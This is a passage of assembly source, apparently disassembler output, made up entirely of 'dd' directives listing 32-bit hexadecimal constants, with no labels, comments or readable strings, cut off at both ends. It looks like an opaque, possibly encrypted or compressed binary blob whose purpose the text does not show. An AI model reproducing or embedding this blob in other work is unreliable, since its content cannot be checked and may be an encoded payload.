193F3BA5h, 22253CFEh, 0A2EF7A0Eh, 0C692C01Ch, 0E4E0DC9Fh dd 0C8EE6448h, 1F248A8Eh, 752D0047h, 6DEC3AA7h, 940C4720h dd 0F04D4506h, 0D40877F0h, 0D0303F0Fh, 0EC553914h, 0DC8C0F18h dd 18FB8031h, 0A137C20h, 0E5A7F78h, 0F28A6483h, 0C39A6A64h dd 8FC9DD1Dh, 0C684208Eh, 0C9051F5Ah, 73E8204h, 0FD08A80h dd 63D69A87h, 408DDDE0h, 92D48384h, 0CC551901h, 0E002D806h dd 0FC08E404h, 78E9DC06h, 1093D645h, 3B35E56Ah, 2D9E830Ah dd 1C080A3Dh, 357F481Fh, 0A60D1D12h, 74823F59h, 50E908FCh dd 0E5040991h, 0F2011847h, 780893Eh, 12352A3Fh, 2C940247h dd 752AFB20h, 0E7D1234Fh, 46FAF5E8h, 51AB699h, 34128D0Fh dd 7F50FD3Eh, 0DFA4E977h, 0CBBE2FC4h, 98806783h, 28D04144h dd 748BE9EBh, 5ED29F0h, 0C81E103Fh, 1F051B6h, 10905D3h dd 0B2CAE9C0h, 8D896813h, 398A6F3Ah, 8635B8E9h, 0A2E7449h dd 20406875h, 5AB9A36Ch, 0A0020A0Ah, 0FD4D0A18h, 61971EB9h dd 8E54109Eh, 28208F09h, 3F808185h, 0D4147536h, 3476017Fh dd 0EF470E38h, 78467251h, 81336CE9h, 356ED089h, 0B01D56B3h dd 0CED6F6B6h, 0D5195C4Bh, 11B57466h, 4DA87FD6h, 47ECA9B1h dd 0C41969A1h, 0E92F5866h, 5326F125h, 8667F81Dh, 29021C8Fh dd 0C3A165F2h, 2D2FC296h, 0F8222458h, 0A078E250h, 0FF43E818h dd 4C159FE5h, 6C09706Eh, 8FC22D4h, 2403E985h, 0FC4504C4h dd 7AC4EA30h, 0FE09C125h, 45FB54F0h, 53E7ADBEh, 529C3E1Ah dd 42977B22h, 0B1B7D44Fh, 501FE8Ah, 8409F792h, 26261CBAh dd 4F676395h, 2000C727h, 0D2854ED6h, 0A5D442C8h, 0F3CC1DF0h dd 0E24015CAh, 0E6E74AEBh, 0C3800938h, 40142120h, 0B86ABD8Dh dd 0A53B2E8Eh, 0E39C7D1Bh, 3E3162CFh, 0E92306F0h, 8E7985D1h dd 87097809h, 55E82F20h, 0E96A8930h, 0E64B9FCCh, 0F4013959h dd 32B9C23Ah, 8A5AF17Fh, 0FD429EBh, 0AD9745Ah, 48C5D409h dd 2A22FADFh, 0F2E108E9h, 0A0F9ED8h, 0A73B8859h, 13421AF5h dd 0F87E0948h, 0B0DFE7E9h, 4BB3E8FBh, 0F54F304h, 56488B33h dd 0E22C0AC2h, 0A3810FDFh, 81BF0F17h, 0C82BE8D1h, 0E7AEF4B0h dd 65B5E935h, 0FACA2B87h, 0F26A3D4Dh, 18A112EBh, 489C0A26h dd 456BF850h, 15058109h, 0DE48AA67h, 295EC9F0h, 0C083CC01h dd 9438908h, 98BC63F0h, 40B1B84Dh, 0BC1E92FCh, 0A7D2C950h dd 9E5DD7Fh, 0A81D765Fh, 7FC5F83h, 0CCE681B0h, 7FF17479h dd 36846AD4h, 44422536h, 5EA0598Ch, 0F6528512h, 6A84C817h dd 752D6157h, 613B250Dh, 49B9F52Ah, 576240E1h, 0D94A9FE8h dd 0FAFCC892h, 9069F8AFh, 0C865A417h, 9E110512h, 82E22755h dd 0C4517407h, 0DFFDF881h, 0B1293269h, 92A624A9h, 0C8806DC9h dd 0EB8827D4h, 89A39C3Ch, 0FE16B4E9h, 0F7571846h, 0EF1CBB4Ah dd 0F18CC925h, 8FE94E8Ah, 8F08E37h, 7223E15h, 0BC624EA2h dd 6135D45Dh, 9F8A5D74h, 0EA02C628h, 55510430h, 2B3AAFCh dd 8AEBEB88h, 8229948h, 0C3A83B08h, 3548EB02h, 31BC598h dd 2203E49h, 0E166099Ah, 89D0ECA0h, 5EB3608h, 0F6AE0E11h dd 223E916h, 2A406B33h, 986A0A7Bh, 0C742A60h, 35ED613Bh dd 4141EB59h, 9321743Eh, 4B30400Dh, 0A2C8E80Ch, 0C0BC8018h dd 0F825EB99h, 0B70CA9BCh, 0B8F2DAF3h, 54E80821h, 90E039A7h dd 3308803Bh, 741AA0D2h dd 7FE4A01Bh, 57C5F17h, 0B1117350h, 0B085F3B0h, 6A91DADFh dd 0EBFA0D3Ch, 0CA01804h, 3750E78h, 2712E783h, 9D0934B3h dd 0E038A5FEh, 0C8BF700h, 75C70BC6h, 6B9AE415h, 0E589B75Eh dd 62615F61h, 67F968Ah, 0C0EF201Ah, 5299F420h, 56655750h dd 0AC0C036h, 4ADDE8C4h, 89BDD7EDh, 0C3332F58h, 0DC01030h dd 0EE4BE830h, 39FBF422h, 37E68A0h, 0D4665DE2h, 0E682F862h dd 0EB181988h, 0B42BA3B5h, 8052061Bh, 0C2756AEh, 80328B3Fh dd 75303915h, 660B48AAh, 1A21404Bh, 373001C6h, 0BCD89905h dd 16B4775Fh, 0C3F6FC41h, 0AA26D343h, 0A8C270C7h, 68EB2D8Bh dd 470B2014h, 0F09B42Bh, 920B6802h, 19F4820h, 0E00E92A4h dd 6B37E2Bh, 0C3226F4h, 0E0852C79h, 0E8206A56h, 623D176Bh dd 4399FF88h, 0DF2BADEAh, 263269A5h, 3F9A5A16h, 32040ACAh dd 70E83058h, 11BD86E5h, 0CA04102h, 0FC7E528Ch, 12F88F40h dd 6FF788Dh, 914303DEh, 0E8ECC874h, 53560727h, 8D3205A3h dd 24E5EA4Dh, 0C8C41814h, 0C78B3E20h, 0D0DCA84Fh, 591553EBh dd 5688EA4Eh, 1EBA52E8h, 5604AD54h, 718AA674h, 0C7D6236h dd 10B5FA59h, 0F9130504h, 205F96F2h, 417F0B78h, 7D64E1E0h dd 4844FC08h, 44E21F7Eh, 4F89BC87h, 942039ADh, 49FF0C4Dh dd 0E78041Eh, 0F88A1189h, 0BD027C0Bh, 31053D09h, 0E899230Bh dd 0F4F7F7F3h, 4DE7A959h, 5787FE8h, 0C35D8DA0h, 84FC3F7h dd 0AAD072B8h, 0E0217EC5h, 7CB718ECh, 0E814C1B5h, 0EACD3EACh dd 1C953ECDh, 7F2F2107h, 88C9762Bh, 4BBBFF0Ch, 26657266h dd 6D1C657Bh, 622C010h, 6DDF4657h, 7553FD68h, 363F2137h dd 0E2406F50h, 8C449F5Bh, 0DFE78370h, 3253D485h, 6DD0080Dh dd 1464414Ch, 0A21DFC51h, 0DC1E8B66h, 27C0489Dh, 0F981A402h dd 77891ED4h, 0C030560Ch, 0EB4104B7h, 0C84E527Ch, 0F40A4F8h dd 88F94FC1h, 1FE445Eh, 785E802Fh, 0FE652CC6h, 265E26A0h dd 6AFD05A3h, 7701A902h, 0F0EBDF83h, 0A99A1BCh, 81A40CAFh dd 9AE3BC51h, 54808418h, 465F1C22h, 45A8C3DEh, 0C9B230Ah dd 0F7F7124Fh, 603D3B03h, 0D61346CAh, 51238683h, 0D2F792C7h dd 1FE60801h, 0BE6F1C8Dh, 0FD1A0392h, 4112C2E4h, 0B1706984h dd 627EE740h, 35F43C1Dh, 0FA8D1651h, 9E2F29E8h, 0B03C8BCEh dd 3B591320h, 1C40CCC5h, 0E58B1458h, 6909F3AFh, 2A94F7F4h dd 0A30CE84Fh, 0BF7C3CEDh, 590323A0h, 0B4D96480h, 4170ED3Ch dd 0F6E81A55h, 3A426147h, 140495D4h, 27B92583h, 64F7BC70h dd 25AA6509h, 5B9CF21Fh, 0BD1DBFCCh, 0FF197D01h, 0E5E72076h dd 7266D540h, 0F70C1881h, 895976FBh, 46310672h, 5E040608h dd 8B712B49h, 91B0B06Eh, 0F22516E1h, 492CE123h, 85A105CDh dd 0D46F620h, 5E0F6982h, 58A69133h, 1B46623Ah, 18F2F7C0h dd 0C3C5350h, 5F35C3BDh, 0E17301D5h, 40F98003h, 0A96637E8h dd 31F30850h, 85C24EB6h, 570A60FFh, 923CA150h, 4E7AA37Fh dd 0E2976ECh, 3BE12C99h, 0B4FD2497h, 0FAB40721h, 0FFCB1ABAh dd 82C2D263h, 919AF599h, 58A68EABh, 0E2BFCB59h, 0CEA1F5CCh dd 24403539h, 4D0C7E68h, 0EB928A1h, 0B004258Bh, 0E9FD0ED7h dd 20E75648h, 9A3073E4h, 750117AAh, 49B3BC0Fh, 5795363h dd 1AEB431Dh, 750C161Ch, 0DB024413h, 75C436DAh, 0C50BDC0Eh dd 4D453B46h, 3959B37Ch, 0F96E74E2h, 4238577Dh, 516912AEh dd 0F1770262h, 0E975A541h, 45790B9Dh, 3CA06389h, 0B7F805FFh dd 0BFF380D2h, 83527501h, 6E8C853Ch, 8D57D721h, 0EF2A0A49h dd 0C1FEC052h, 6AD3BEA0h, 78A7FA8h, 468D0487h, 2103C514h dd 92580676h, 7C41180Ch, 3F8B0DEBh, 14995EF5h, 0BF3E267Eh dd 509CC810h, 116B0209h, 2986F4B9h, 0A09CA25Fh, 48745610h dd 84956522h, 2924103Dh, 0B089139Ah, 667C80B2h, 272BEE48h dd 5D435F18h, 0B2080E24h, 353D5A49h, 0EF4540F6h, 0FE673604h dd 55F65E49h, 0A108EE9h, 912D8FB8h, 0F83FDB36h, 78A8046h dd 7474613Ch, 0D272481Ah, 8F7B478h, 0B91D0122h, 0EBA08525h dd 0CE3F85F9h, 6D087E77h, 7F142709h, 8A5A5F03h, 3A22DF47h dd 0E1D9DFC3h, 0E6D33B0Bh, 48BEFC73h, 541945C0h, 0DC607E7Fh dd 45EA2BE8h, 48190ACFh, 0C0E1336h, 0AC9A48C9h, 0C43941CDh dd 5EEAA32Ah, 83021AA6h, 0B7EB20C9h, 688E15A4h, 0A2EB2410h dd 75400697h, 0E9EB147Dh, 37820498h, 0FE3F6173h, 0DEFC4E60h dd 0CE81C920h, 82EB38E8h, 0C0A2B85Ah, 5975C807h, 72E9420Bh dd 0E816BC44h, 0F6827462h, 0E40B052Eh, 750B066Dh, 1C5F640h dd 0CD803B2Fh, 9F53E9E0h, 0A5BE5ED1h, 0C3A17C2Eh, 0BFFBE681h dd 3CE92414h, 5117C817h, 8D40C1CEh, 2F25E90Ch, 3E2D77A8h dd 1936D233h, 0E1E58419h, 0A4681111h, 9763FC2Eh, 0EA121522h dd 0FFD44A0Bh, 7DCB3640h, 1A16FD91h, 0F5581FE1h, 0C703989h dd 9904589Dh, 9F080A18h, 48931C06h, 8B13FBB3h, 94512515h dd 0ACB5C42Bh, 57D580FAh, 4C8B5D7Eh, 0FBCFAB1Dh, 0CDE00F0Fh dd 41F61574h, 0AECFAB8h, 0C387405Fh, 0EC7CC2E0h, 8B3F1FEBh dd 24BAFA34h, 206AF882h, 1AE0E7C1h, 0B692D196h, 3080CCB0h dd 0F4D0489h, 73C80E3h, 5C74FD3Bh, 54766818h, 0D4EF0F5h dd 6E89FF10h, 0F876CFECh, 0A2EEECCh, 0C68B2C1Ch, 98A161EAh dd 0EA223AB6h, 4475740Fh, 0DEB4C9D0h, 414A446Ah, 32F9CD4Ch dd 0D38D4A27h, 27386120h, 8E05A4Dh, 1DB63C48h, 0C1030D03h dd 881AC88Ah, 7540EA0Eh, 146261Bh, 2CB86130h, 146A6C12h dd 5A8AD0B3h, 0FFCA24EBh, 5FE28BF1h, 0D134FD4Dh, 78BD55C1h dd 0FFB129A8h, 0C6C1291h, 0DF087205h, 562CB7E9h, 0ED40D46Ch dd 0B7904968h, 3275503Bh, 706B4217h, 0D03A411Ah, 8D818314h dd 3821058Dh, 0E006179Dh, 8998010Ah, 1087C3Ah, 2C047F7Ah dd 41F18820h, 0EDC8C27Bh, 166A4290h, 90F87ECEh, 0E208E809h dd 0F544EC77h, 64EB1A48h, 0BE641049h, 0AED771E9h, 83A06566h dd 0CB86813h, 1B817E56h, 2F434950h, 0EFCD6A83h, 0D2FE2DE8h dd 2C6A3E06h, 0E354221Ch, 12FF1ADCh, 0EF044030h, 2EB01838h dd 0EE60FD39h, 0EB192A88h, 6AF22F3Ch, 218B0257h, 97B859DBh dd 1D480CF8h, 18EA030Ah, 0D4A50181h, 98E83423h, 7D80B51Eh dd 0FD590649h, 7F03A561h, 7245FC89h, 0EB0C57AEh, 940F1A91h dd 0B54EF3Bh, 5AA3CB05h, 362C983Ch, 8B6593E8h, 91456FFFh dd 0E9160D75h, 8424DED3h, 0C30AEB46h, 9C18753Eh, 5F350B5Eh dd 6EA9CD85h, 0CEAA74C8h, 684AD5A4h, 0AD2995FEh, 44B3A615h dd 14E759Ch, 378396C8h, 0C1B9425h, 0C684980Eh, 1190A366h dd 0EA0D892Dh, 0B20DD5D0h, 65BE690Dh, 1F03A190h, 0C2800C8Dh dd 8808A09Ch, 0BF73C13Bh, 2B042921h, 0FA81F050h, 724B8AE1h dd 1406CE07h, 0B7EEE8EBh, 706B15DEh, 9719979Dh, 4CE2EE41h dd 0FCC6A860h, 0F792B3Eh, 0E10FEFC1h, 4C969CFh, 8C0A7E7Dh dd 929A4401h, 0E7CE089h, 59F1494Bh, 9BF012A6h, 14F833E6h dd 1C738D31h, 0F47955FEh, 3E83564Bh, 3012FEF8h, 5D3CC2F6h dd 7E03750Ch, 4A04FAC1h, 763FA083h, 166A7403h, 1C4B8B5Ah dd 7508C613h, 2009204Ch, 52BB1E73h, 0CA8B0066h, 4C8DEBD3h dd 0F7770402h, 0B85C2100h, 7509FE44h, 0DC82AB28h, 8DE19587h dd 2154E04Ah, 0B89C1F70h, 4521D9C4h, 65590806h, 0EDFC0C04h dd 80328FBh, 1E08533Fh, 8CBC045Bh, 2E5A89F4h, 0D90C7655h dd 61521325h, 0D131953Fh dd 2487B580h, 974AE3B5h, 0EC24B5F4h, 0FE752B43h, 0FBC11925h dd 40893604h, 3B5E4BF3h, 276DE0Eh, 34909B8Bh, 689D12Ch dd 25D63B39h, 74DAD8E9h, 14CE636Ah, 73BE7114h, 0FBD96182h dd 0BE1CBE41h, 0D302CB0Ch, 21D6F7EEh, 4CBAA074h, 52750403h dd 31019A26h, 4B8D1FEBh, 4A1F54E0h, 0CDB8B41Dh, 71BA1841h dd 9A97408Bh, 5289F249h, 83790C4Eh, 752419FCh, 0F75DCF48h dd 0FD7B6C6Dh, 1A75EAAFh, 5C6CA1EDh, 0BD2104D1h, 6D5E9403h dd 0BE5F5265h, 0C836C70h, 751EC23Bh, 204A8A60h, 4D8851A0h dd 0C175FE0Fh, 257319C4h, 82BCA8C7h, 6C60910Eh, 194809EDh dd 8F44E26Eh, 0EA18EEAEh, 10922529h, 26056739h, 0BA215619h dd 84F4EA0Ch, 927B9A6h, 72F95210h, 30443B06h, 0FA0A535Fh dd 2DF72B0Ch, 997E9AA1h, 58DC91F0h, 1D8C37CEh, 687C3562h dd 0DE1C1A6h, 0C48030Fh, 68DA70A6h, 53828494h, 92D6FF51h dd 5C332820h, 8500961h, 3A340F54h, 0A4BDC1FBh, 58DAA388h dd 48FE2130h, 0F10BA443h, 2B6A5DEEh, 60BAC055h, 12FE5504h dd 447878E5h, 46536916h, 0B60C701Ch, 142D138Bh, 69B2DB10h dd 0EE8BF619h, 409F466h, 5E0C180h, 294EC8C3h, 4C03F32Bh dd 0A951EC11h, 0C0D21448h, 0BCD344D1h, 0F4089757h, 30A00D84h dd 23A1053Bh, 6D4B2076h, 2F14082Ch, 14539B69h, 0A53D8945h dd 0F83DB59Fh, 9614E2E2h, 0D3319864h, 821182CDh, 0BE6CFEF4h dd 0E1831617h, 0C12341F0h, 0EB4904F9h, 0E7D20A0h, 0FF4CCEFEh dd 5BB54E0Bh, 0EBCA0A3Ah, 9D9120ECh, 0D3F6E368h, 0E11FE86Bh dd 6850A161h, 98DF3BD8h, 73081698h, 3D235F19h, 315823B7h dd 3ACF0BFEh, 4BC3CCA0h, 63D2BC14h, 7E77233h, 8B797511h dd 8D8F5DAh, 5D91527h, 0BCE6EB11h, 4B59B134h, 7BF81173h dd 0D8409A08h, 0EDEB5529h, 0A2638A1h, 891C0D2Ah, 0E10EE30h dd 0BCB138E8h, 0DB85983Ch, 7F14743Bh, 1FDA6653h, 107FB859h dd 43500175h, 0FF5E38A9h, 0C50FC3C8h, 361D892Bh, 93E72AA6h dd 2FE0FA2Eh, 495CDFFCh, 0B413908Ch, 44BA7CBBh, 377D8994h dd 706413A4h, 0DE105524h, 8F70AC5Ah, 8D0BA948h, 17F91803h dd 532E91D5h, 6AC1B8C0h, 0C020053Bh, 3907FE78h, 0E974D70Bh dd 98209A8Dh, 61FF5D33h, 4C4983F5h, 75CEB10Ah, 6A63670Dh dd 5FCB0020h, 57CC985h, 470CE1D1h, 438BF7EBh, 88F96254h dd 1FC92B0Ah, 0C65EA6F1h, 4E4EFE1Fh, 7E3F8583h, 0C8C2E794h dd 0D9960F7h, 614A8901h, 6101CE22h, 8520FF83h, 1601B32Bh dd 0FF0F24CFh, 0A838180Bh, 0EC01F453h, 44885C23h, 0FE0904DFh dd 0AA38750Fh, 0EC4DE740h, 0B8EB0B21h, 154F58CAh, 962C50E4h dd 4DD69F48h, 0A8541986h, 2D86996Fh, 0B26686A2h, 7A06D2D9h dd 0F872C26Bh, 7D79B987h, 81A9BEDh, 8DFA9C12h, 7CAA0829h dd 41C0F159h, 0EE46B9A6h, 2251CA52h, 9E9A0C37h, 0C08264E5h dd 42FE0406h, 0C2297D0Bh, 0BF9763C2h, 29257B0Fh, 81B1BFC6h dd 9EFD3CEh, 170B5D3Bh, 57CE590h, 2C2FEBAFh, 8D150D29h dd 6421E04Eh, 17A47B55h, 0AEBC538Dh, 86142E6Bh, 2C370932h dd 8E32FEF8h, 9560A89h, 344BFC01h, 773EF8FCh, 146D165h dd 0FC321304h, 0E36A097h, 798D3344h, 1AD83E20h, 0ED991D3Bh dd 9912373Ch, 42A21ABBh, 30705307h, 8D088925h, 904422Ch dd 0D03B069h, 64D58A88h, 75C117B5h, 895D0530h, 4B709750h dd 499C8E04h, 7A485457h, 893AC2DDh, 949B4689h, 683E48C9h dd 0C468040Bh, 0B0E19641h, 31844698h, 814B34F2h, 7E68F436h dd 74100389h, 68046A2Ah, 51E42082h, 15A976D8h, 271AA680h dd 5B5A750Ch, 0A4FA5759h, 7D30C0F1h, 0B622B84Eh, 47E0E68h dd 0B46305CAh, 5BEAA884h, 51C9D8A9h, 577FE164h, 3CC9714Ch dd 0DB339741h, 5044C312h, 0C34943E0h, 0D9693887h, 705A8291h dd 839930F9h, 408CF7ACh, 9F040608h, 924A0F04h, 8682FB1Fh dd 0DDE1E7C1h, 70F06E79h, 708CA410h, 7F2F8580h, 22931231h dd 20973875h, 0FA3B0F70h, 474C3C77h, 0F3B048F0h, 0EC4B88E8h dd 0EE7EBBBDh, 0C70FC7FCh, 55F06440h, 0EF1E6443h, 4803F3ECh dd 0E880C704h, 5152340h, 2D6357A2h, 0F706FEDCh, 90F88BC7h dd 50C2D84h, 15F0CCABh, 0ADE84FDCh, 0C4A8D1Bh, 9010B412h dd 449E640Ch, 22EBBC86h, 468A0EE4h, 82C86943h, 0E8C0840Ch dd 0F84E887Bh, 9030475h, 0B6BA0478h, 0F7EA019Ah, 85021D2h dd 0B573C3E5h, 0B2FD0C8Ah, 5DDC1052h, 8DD7806Fh, 4E2B1770h dd 83EA4551h, 0EAACC1E6h, 3285610Fh, 0FC4FB083h, 5D3B5949h dd 5A5C2C50h, 5E4CF239h, 8E0F5603h, 0C73B4B5Fh, 4F859382h dd 0D9031307h, 8FA3F33Bh, 1BCDF445h, 3F2CF166h, 676898Eh dd 11594F06h, 0E45F8B26h, 0C248C039h, 1F73202Ch, 0F88254C5h dd 71014C8Dh, 889010F2h, 0A124C42Bh, 13221F18h, 0F59E909Ch dd 0A7654F3Bh, 6091989h, 6065627Fh, 0CE2B1030h, 0F9F8D601h dd 0AA9C40C7h, 608B03E1h, 0C10C2A14h, 4F6604FFh, 0F130318Ah dd 5F88FB38h, 1CC8F41Fh, 55CC20FBh, 12B6405Bh, 46B8800Ch dd 0CC0C18DBh, 751E3B4Ch, 208C5C58h, 13FF4407h, 40BE4C9Ch dd 2CDC8321h, 0E6908ECFh, 66B0B982h, 2554EBCFh, 33B81021h dd 84F14896h, 2EA5BA4Dh, 48584FBAh, 9D0C552Ch, 0CA324442h dd 1746143h, 246F8762h, 9B3F46EFh, 2A092242h, 7647E9F8h dd 0D8C09DB0h, 8D0F0F43h, 0C10D3A69h, 0B5A629DFh, 6E4B98A4h dd 0A5B2335Ch, 585268FBh, 832399E9h, 5ED899DEh, 8B43153Bh dd 0FB939D71h, 4505A6D4h, 3B225219h, 0E1772E42h, 6C68FEB2h dd 7422CEA2h, 167A4506h, 216C8B0Eh, 8E06C44Eh, 91EEDA77h dd 7102777Ah, 601ECC1Bh, 0BC038F81h, 760CE8E6h, 10EEC77Ah dd 0DD4B207Bh, 0BC71A47Bh, 5CFB62DAh, 13A7EEE5h, 621851AEh dd 3DD6AE38h, 394042E3h, 0CE106247h, 164B0F88h, 792281E6h dd 4EC86222h, 0E604F57Ah, 184C8103h, 39CD7AFCh, 3DA7812Bh dd 4D823B50h, 0ACD874FFh, 40BE0CC3h, 1D1CEB19h, 3E6F2068h dd 0F2729F5Bh, 0C840F12h, 0C42D7322h, 0C570B1D1h, 0D52A0940h dd 84475176h, 34AACF7Dh, 3150D629h, 0A7575303h, 0AF03A434h dd 35CB84Ah, 1E75F03Bh, 2C0AE441h, 8A32863h, 67441CC8h dd 108EA1Ch, 68915EBh, 0B80944A1h, 35507A13h, 30888B09h dd 6887518Dh, 0D9988ED8h, 0FE143491h, 4E16335Eh, 0CB7EEB0Ah dd 0DA15C3Eh, 2DF1B9EDh, 7F83D2DCh, 9D0F03FDh, 0D1234AC2h dd 97894599h, 94214832h, 0E46EFD81h, 0E34E7C6Bh, 0E707D1FEh dd 96B97CBAh, 0C303EC40h, 1D73F83Bh, 758F801Bh, 47768271h dd 0C7078140h, 0F06704EAh, 0B58A811Bh, 8BDCEB40h, 0B927E8C6h dd 1371B4BEh, 81B4D1FFh, 74AC48FEh, 0A4F8CFBFh, 6245278Ch dd 6FAE31A1h, 39023321h, 0BA16035h, 9AC1F708h, 433115A3h dd 0B321B920h, 2D89910Eh, 0A6A80634h, 0C95221AAh, 0D48EA70h dd 0DC65DE91h, 6206EA01h, 0ED858357h, 6399ABFFh, 0BE3F3139h dd 68507D49h, 0AE3F6EF0h, 7585BA74h, 0A2C5C539h, 0DF03284Dh dd 50567AA6h, 5AF4B85h, 20F83D4h, 0B69C0DF9h, 0C69E752h dd 0C7640421h, 3C1E87C5h, 54658BE7h, 0D8A3FA7h, 0F30EB81h dd 8561EF83h, 72B27DDBh, 72504823h, 7404760Fh, 75796B2Ch dd 0FC264785h, 204109A5h, 0CE7E85Ah, 10529142h, 8EFCAFAh dd 51310449h, 14EEE9EFh, 0C5A53B59h, 21AB0A74h, 14508FF2h dd 850FB9AAh, 0F624BA04h dd 3BCAC600h, 62761041h, 72140A05h, 0CF09F787h, 0EB3774C0h dd 0F13A8EEh, 570E3175h, 790109BAh, 2DF2EA4h, 2072F23Bh dd 898DE074h, 0AA200D0Eh, 816614C8h, 2B1AE2E1h, 0BD51EC1h dd 9098F097h, 9D0871F1h, 57090C92h, 2B93A257h, 0F958C048h dd 0C82EC60Ch, 0FF01D18h, 111B603h, 24218010h, 41113898h dd 320440C7h, 17750517h, 0FB2405FFh, 6096684h, 0B2F5C20h dd 61F5E810h, 2C3B59B4h, 0A1226014h, 0B469F343h, 0F052CD5Eh dd 6A98087Eh, 13201831h, 0B16F2BC7h, 0F64BEB73h, 0E80C65F0h dd 0F93B25C2h, 3A73F080h, 0CE9E0F8Bh, 7CCB003Eh, 45F391Ah dd 53152F76h, 1B92702h, 8D153B77h, 2EBE09F5h, 0A542C7A9h dd 3822B112h, 6D1C872h, 4E2C4690h, 187E0CA8h, 3B5EF826h dd 4BA03AC6h, 14E2F933h, 174D197Ch, 8DF95314h, 4F6AE815h dd 819926CCh, 0D8A078D4h, 147D3BA6h, 46D272F8h, 0B794368Fh dd 0BA1574C5h, 0A88955B4h, 9F1F290Dh, 28E93D01h, 4C6A6701h dd 7F831291h, 632A9ECh, 0C2F60C0Ch, 0DC3F343Fh, 92D7DE08h dd 0C51FFBEBh, 0E94E44E6h, 2B3383F3h, 84EED2F7h, 0E608FEE0h dd 20C7712h, 9A11FE3Bh, 0BCDF302h, 2025EB25h, 0EF74F751h dd 0D7B1D354h, 57980144h, 73B9AA56h, 0FC6035Fh, 0CC84B885h dd 0D89575F3h, 0B7882F29h, 0FC552C82h, 0C1D28523h, 0B3617ECBh dd 1E85B835h, 8CF48880h, 1ADC5065h, 99BAA4FEh, 119CA149h dd 9D2541C7h, 6A831E5Ch, 207D4C1h, 3D89D675h, 0E962C592h dd 0C83B3790h, 39A37350h, 3B05F8CCh, 1CF261EBh, 3023C01Bh dd 0C4E4706h, 33E0C153h, 7229EC5Fh, 1FBCD703h, 8626FA88h dd 7BFC493Eh, 4BE8340Eh, 3E1157FBh, 0F062A29h, 3A325988h dd 76581954h, 7622DADAh, 54D8D32Bh, 29EC2290h, 8D18500Ah dd 0EB093481h, 729DD602h, 14F1F45Ah, 0A4867A8h, 998D390Bh dd 8D421992h, 290A8F0h, 218158BCh, 8817048Dh, 73A640CAh dd 11011A07h, 615F8E29h, 85D76159h, 8A1F1784h, 0E98C3DEEh dd 4E035BCEh, 4E5AA9F7h, 8D85B0h, 0F33B1034h, 188A4373h dd 75DB840Bh, 583C2730h, 3B805E31h, 4332016Ah, 8FF7EB46h dd 8A4E73A4h, 512EB45h, 63E922C7h, 553999B7h, 4E82B530h dd 0C38F6099h, 0A0A005EBh, 42A903F3h, 0BDE89E75h, 0C7C711Dh dd 0F67E73F7h, 0FC68DF16h, 68A7609h, 4055865Fh, 425E73A5h dd 43251F58h, 0D71CFA60h, 9B28158h, 19AC432Bh, 9E99AA42h dd 88311260h, 0EBC24910h, 73C22780h, 45502913h, 34487269h dd 0AEEB18F0h, 7703C0C4h, 70A764F0h, 25C26216h, 88D16841h dd 77B81648h, 0FC96B13h, 794C56BCh, 21952457h, 627BE95Bh dd 77570A86h, 2569155Eh, 82814740h, 806F0CF8h, 0C77C8D33h dd 12761813h, 72B17F0h, 10288C8h, 8C47D40Fh, 601AEBE1h dd 7296573h, 833402D3h, 28C6548Ch, 62D15572h, 0A730E11h dd 0F0C72B7Fh, 18F46E5Eh, 468A42E6h, 0DE8B6ACFh, 2B77D0C5h dd 27600AFFh, 73466F2Ch, 8973FE14h, 6606382Eh, 3C804007h dd 855F0969h, 0AB224347h, 1B302F63h, 4BEC2B03h, 0B873ECD2h dd 0A8B8253Dh, 0FE2950A4h, 0FBDD5C0Ah, 4C965625h, 0EE68D90Ah dd 0F7C90F0Fh, 85E86448h, 0FA72C495h, 85C34F5Dh, 0C837B9D7h dd 0E871B121h, 0E4197FDCh, 55C6595Dh, 5869826Ch, 7D04DF2Ah dd 0E8741818h, 9F035836h, 275022A3h, 0FE2FE008h, 919A5150h dd 0DC8C5E20h, 0C5D81A8h, 0EF31A018h, 96318A05h, 342CFD59h dd 9DC828A4h, 0C49B23DDh, 100C7310h, 9F04EB78h, 16CCCF28h dd 0FFC77968h, 7FA293EEh, 9844536Bh, 0EB861820h, 22A2B792h dd 0C2ADB642h, 1BC63A15h, 5B13ED12h, 8A0C0E1Dh, 0C1F610C7h dd 0F50D7432h, 8FDA4C93h, 5809C000h, 0FB12B704h, 10931211h dd 10044883h, 0A2CB8402h, 4B743391h, 9E8E1185h, 51E826F7h dd 76E21990h, 6A22B2FEh, 303BB543h, 0D1F78050h, 0E283CB23h dd 0E1C105EFh, 0E1CA0B04h, 1B840489h, 35372A2Dh, 7B7E2683h dd 8730E636h, 0E936BA17h, 0FB472E33h, 3E9C1C0h, 0FD81CF23h dd 6005CA0Ah, 1217FE15h, 5ABC25E8h, 74C38405h, 83E94007h dd 0A8100C49h, 7F0B0456h, 7B14DAF7h, 6FBA104h, 0FD9E0268h dd 45152032h, 0B01E5805h, 0EB3FB91Ch, 74490178h, 0BC2D3D34h dd 0E1F6477h, 0BE035208h, 3E2875C1h, 3AD8347h, 754FBCFEh dd 0CFD867B6h, 0C340AC5h, 56CB8F09h, 0F84520A3h, 21FC4220h dd 240BE03h, 22423EA6h, 0EBE32004h, 0E9E7731Ah, 0BF504C9h dd 0FE60D4Dh, 0D09801Ah, 0E981AF07h, 87E5E66Bh, 0B3058733h dd 0FE831FE2h, 1BD311F5h, 79139E41h, 685EB648h, 31E6F4E3h dd 0C3DD181Dh, 582A2775h, 50431F10h, 7C988676h, 116788B5h dd 3E07DD0Ch, 23E82540h, 1AC4D5DAh, 8CAE5350h, 885A153Fh dd 0F620AC58h, 420E740h, 26831B03h, 22EC13FEh, 220424FBh dd 200224F7h, 0A95884EFh, 0A741DF1Ah, 0A46FFFBAh, 1ACBE10Ch dd 0B611DFE9h, 0B0090316h, 4801E75h, 0EB0C014Eh, 83898718h dd 0CDDAFBE5h, 8950343h, 412F70Ah, 21026F80h, 0FD6CD716h dd 7E1142Eh, 0F1132034h, 2A166298h, 4AC612EBh, 7948CA23h dd 9075202h, 0DD5A0331h, 1F9AC740h, 0A4F345F5h, 57534239h dd 0E7269E58h, 0B428B21Fh, 14745B05h, 0AB015D84h, 8BE8530Fh dd 2CD6962Eh, 0DAE9F725h, 16D8A866h, 0DC7098F6h, 8A6ADE0Ch dd 411A71E8h, 12B0E9FBh, 1184F484h, 703D69D2h, 6AC8443Eh dd 4F501698h, 0E091B822h, 23EC022Fh, 2A79F5C8h, 43F98108h dd 10535874h, 3B2818E9h, 9D908530h, 0DD0565E6h, 0E01DDC01h dd 257895B8h, 6BD05005h, 1DDED895h, 7ED90277h, 1CF45D96h dd 6EEBCA5Ch, 35195B20h, 404A0876h, 24C5EB13h, 4628722Dh dd 